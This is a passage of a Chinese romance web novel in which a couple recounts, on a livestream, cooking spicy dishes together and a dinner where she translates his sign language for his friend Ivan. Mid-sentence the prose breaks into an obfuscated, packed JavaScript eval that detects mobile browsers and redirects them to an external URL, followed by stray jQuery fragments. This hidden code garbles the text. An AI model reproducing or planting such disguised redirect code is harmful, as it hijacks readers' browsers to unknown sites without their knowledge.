1.


    后来罗曼是否尝试了老干妈配馒头，现在疑惑解答。


    他当然尝试了。


    不过，尝试完了便不想再去尝试了。


    用沈玉的话来说，他无福消受。


    用他自己的话来说，不习惯。


    当然这是一件很正常的事情。


    沈玉在摄像头镜头前玩着罗曼的头发，他那一张大脸就这么怼在镜头面前，角度恰当的时候，好像那个网络头像，他的头发是略带卷曲的，深棕色的。


    他现在十分享受这样的关注，即使现在正在直播。


    【中餐吃得惯吗？】


    他抬眼看着弹幕点点头，转而亲着沈玉的脸颊，在直播间撒糖也不是一次两次了，没有刻意的行为，没有做作的表演，一切都是自然而然。


    【后来呢，后来发生了什么？】


    沈玉刚想说就被他打断，这次他终于不再安静。


    -


    罗曼没有将生活的琐事发在社交软件的习惯，他很少去做这种事情，也不在意，只是在他们认识熟知后事情变得不一样了，沈玉给他做的中餐，他手机里有照片，并且他也上传并分享了出去。


    那顿晚饭对他的意义重大，不仅是新奇体验的开始，更是他内心快乐的升华。


    自此他对她做的饭开始念念不忘，看着桌上的牛肉、鹅肝、羊排......他会觉得索然无味，相反的脑海里会蹦出碗里蜜汁鸡翅的场景。


    他真的有在考虑她的意见，让她来公司做个厨子，换换口味，当然只给他一人开小灶。


    他还记得他当时的窘迫，话要怎样合适的得体的不令人起疑心的且无法让他人怀疑的…说出口呢？


    他在手机屏幕上徘徊了许久，最终还是正儿八经地打出了几个字：有些事情需要和你商量一下。


    十二个字，他想的天花乱坠的说辞终于还是被这十二个简单的字代替。


    他瞄了一眼弹幕，弹幕开始哈哈大笑。


    他只能尴尬地摸着后脖子继续说着。


    -


    他俩协商的时间是周末去他的庄园给他开小灶。


    厨房里厨具应有尽有，装修典雅大气。


    他记得有一次她做了辣菜，是非常经典的水煮肉片，红辣椒气味直冲鼻腔，不禁让他咳嗽。


    对于辣椒他望而生畏，沈玉总在这时调侃他是胆小鬼，而他呢能怎么办，只好假装恼怒地反驳，然后闭上嘴巴帮她的忙。


    不过那猪肉薄片他切得是七扭八歪，沈玉看了直摇头，而他也没有要停手的意思，非要自己切完，自己干的事就算最后跪着也得干完。


    炒热油的时候，呛辣气息如同炸开的烟花，罗曼被熏得眯起眼直直倒退，后腰撞上台边，他倒吸一口凉气，沈玉突然哈哈大笑。


    而就在这时，他佯装生气地喊出了：你!


    趁着这时她又会逗他，让他脸红的好不自在。


    一粒油星突然溅上她的手指，她立马跳了起来，罗曼憋着笑，心想这时那油星子替他报仇了。


    两人在厨房里忙得不可开交，这是罗曼最为开心的时刻，没有烦恼，没有琐事，只有他俩时不时的恶作剧。她都差点忘了他是个少爷，集团的话事人。


    她似乎没觉得他很可怕，做事雷厉风行，表情一直严肃以至于没人敢靠近。


    她反而觉得他像个沉默的孩子，总沉浸在自己的世界，只要言语投机，就能打开话题。


    肉片滑入沸汤的刹那，她用着亲切的语言对他说，要用筷子在锅里搅动，嫩红的肉在漩涡中舒展，他耳根子一红，“这.....样......？”


    他又说了一句话。


    “对，就是这样，做得很好。”


    最终成品时他开心地拍了照片。


    “尝尝。”沈玉将吹凉的肉片抵在他唇边，眸子里晃着光，嫩滑的触感在齿间迸裂时，罗曼的喉结随着辛辣感剧烈滚动，他猛地咳嗽。脖颈泛起的绯色。


    红温了......


    她笑得歪在台边。


    “沈......”玉字他没说出来，声音哑得不行，仿佛有刀子扎了喉咙。


    她瞥到了他的手机屏幕，水煮肉片的照片正要上传出去，配文还写着：spicy。


    他知道她看到了，一把将手机放进了口袋，故作镇定。


    沈玉撇了撇嘴，看着他后退半步。


    “害羞什么......”她嘟囔着。


    -


    讲到这时，弹幕里的评论让罗曼哑口无言。


    【姐夫是纯情大男孩啊。】


    沈玉戳着他的脸颊说着，“是啊，表面那么正经，实际上纯情的要死。”


    “别戳脸颊。”


    “就要。”她继续戳着。


    他拿她完全没有办法，只能在一旁哼气。


    2.


    “还有什么细节想知道的吗？”沈玉说着，罗曼抚摸着她的肚子，他发现这肚子是一天比一天圆溜，时不时的他还能感受到孩子的踢腿。


    【姐夫的心理治疗还去吗？】


    “不去了。”罗曼回答，接着又补充，“自从能说话以后就不再去了。


    【都治疗些什么？】


    “语言训练，沟通训练还有心理上的疏导。”，沈玉拍了拍他的后背，他咧开嘴一笑，“没事，都过去了。”


    【咱开的中餐厅在哪里啊？】


    “在他公司附近哈哈，他说他想跑到楼下就能吃到我做的菜，当时正在恋爱时期呢。“沈玉这么说着，老脸一红。


    “热恋。”罗曼在一旁纠正，沈玉脸更红了，这下终于轮到她害羞了。


    【快给我们讲讲你们热恋期干嘛去了。】


    【对对对！】


    【小板凳已坐好。】


    “不是，你们进度这么快，都想直接听热恋期了？”沈玉假装防备，“这样故事没有连贯性了啊。”罗曼的指尖在沈玉孕肚上轻轻画圈，沈玉往抱枕堆里又陷了陷，孕期浮肿的脚搭在罗曼膝头，他用热毛巾裹住轻轻揉捏。


    【我们只听甜的，虐的不听。】


    这年头粉丝的要求还挺高。


    【搞笑的也行，虐的就是不听。】


    这届粉丝有点倔强。


    “算了，虐的部分我当番外来讲好了，不过我接下来讲的还没到热恋期呢。”


    【就是就是。】


    【讲点搞笑的。】


    其实她还真记得那搞笑的场景。


    是学手语并实践的时候，她自告奋勇地告诉他学了手语并想让他来检验成果。


    第一次检验是简单的手势图形，她回答完全正确。


    第二次是简单的语句，手势速度很慢足够她反应并翻译。


    这第三次嘛，直接上了实践，不过她差点出师未捷身先死，那尴尬想钻地缝的场面她还记忆犹新。


    当时他把她带进了一场饭局，邀请者是他的朋友，只有他和罗曼两个，确切的来说他的那位朋友还带了女伴，于是罗曼也带上了沈玉，他对她的感情在日益增强，沈玉也不傻，她能从他的动作里辨别，她知道，他喜欢上她了。


    可是她没有戳破，她很奇怪，在感情宣示上她不想主动，可一旦有人主动对她好，真心待她，她便会以洪水猛兽般的情感回报。


    那是家高档餐厅，气氛比较安静，不过还是有闲谈者们的声音。


    那天他朋友带来的女伴，穿得性感，杏色的裙子配着耳坠，说话时耳坠晃得她眼睛都晕，她攥着餐巾一角，对面那位叫赛琳的女士看着她和罗曼然后问：“你会手语？”


    “其实是现学现卖。”她咽下鹅肝酱，比划出简单的手势。


    他朋友叫Ivan。


    他说他也会些手语，毕竟看着罗曼比划来比划去的次数多了，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420511|169021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也就会了，因此这次吃饭的氛围还是很轻松的。


    赛琳说，“你们怎么认识的？”


    罗曼刚想比划就被她按住，沈玉开始滔滔不绝起来，“就是一个雨天，在咖啡厅的时候把热可可泼在他的大衣上了。”


    一阵轻笑袭来，Ivan看着罗曼根本没有话语权觉得十分好笑，他打趣着，“以前他总是龙飞凤舞地比着手语，根本让人反应不过来，现在可好，终于有人治住他了。”


    罗曼瞪圆了眼睛，刀叉悬在半空像被施了定身咒，他不可置信的看着Ivan，竟然这时候来拆他的台。


    他深呼吸一口气，继续吃着烤羊排。


    “听到没有，都怪你比划的速度那么快。”沈玉继续调侃。


    罗曼无奈地摇着头，将羊排漫不经心地切成一块又一块，转而叉起一块蘸着酱。


    沈玉抿了一口香槟，看着罗曼同Ivan作气。


    “然后呢。”赛琳又来了兴趣，毕竟罗曼名声在外，全身上下以安静、冷静著称。


    “其实是因为突然蹿出来的橘猫而绊倒然后泼在他身上的，我呢一个劲的道歉，他呢说没事，可我就是不答应，要帮他干洗衣服.....再然后......他可能怕我过于愧疚，于是他邀请去艺术展......我们还在万圣节扮演了吸血鬼......之后我给他更新了一下口味......”


    Ivan眼睛放光，彷佛印证了什么想法，“哦！那些菜原来是你做的！你不知道他有多喜欢发你做的菜。”Ivan突然拿出手机，朋友圈里是罗曼发的你做的中餐的照片。


    哼.....


    罗曼哼哧一声。


    “沈小姐可否下次赏个脸，给我也做个菜尝尝？”


    罗曼突然攥紧了刀叉，他比划出【不行】的手势。


    “为何不行？”Ivan追问。


    【她没时间。】


    罗曼快速比着手势。


    【她不会给你做的，你这个顽劣的人。】


    【你吃法餐吃得惯，不会习惯中餐的，再说了，吃了你也无福消受。】


    沈玉在一旁尴尬地翻译，“呃......他说你玩性大发，还说你会不习惯的......”剩下的她没再翻译了。


    罗曼突然握住沈玉的手，再次比划着【无福消受】这个词，他要她翻译。


    沈玉叹了口气，“无福消受......请别生气。”


    Ivan笑着摇了摇头，“没事，不用担心。”


    气氛沉默了几瞬，沈玉最先开了口，“你们呢？你们怎么相遇的？”


    Ivan深情看着赛琳，“我们结婚了。”，Ivan握着赛琳的手。


    “哇哦，恭喜。”


    罗曼突然眼神变得柔和，Ivan和他算是兄弟，虽然没有血缘关系，但Ivan老早之前帮过他资金上的问题。


    Ivan年龄比他大，所以他算是“兄”，他的阅历比罗曼更丰富，有时候和他交谈会有一种和长者交流心得的感觉。


    “我们是先结的婚，后来不知道怎么就又看对眼了。”赛琳解释着。


    “用我们中国的话来讲这就是缘分，先结的婚没有感情基础这是在经受考验。”


    赛琳笑出了声，“哦!我们那时过得的确像是在经历考验。”


    “其实不管怎样，遇见一个人就是缘，但有没有''分''那还得看双方契合不契合。”


    “你好像了解这些事情？”


    “没什么，我只是......”


    罗曼在一旁比出手势，【她看得很透彻，她总是会用一种优美的话语来表述悲惨的故事。】


    “哎呀，看得透彻是因为经历的多啦……”她的原生家庭就是良好且幸福的，她这样的人骨子里其实是善良的，无法真正恶起来，“有一种世界以痛吻我，我却报之以歌。”


    当然这只是个比喻。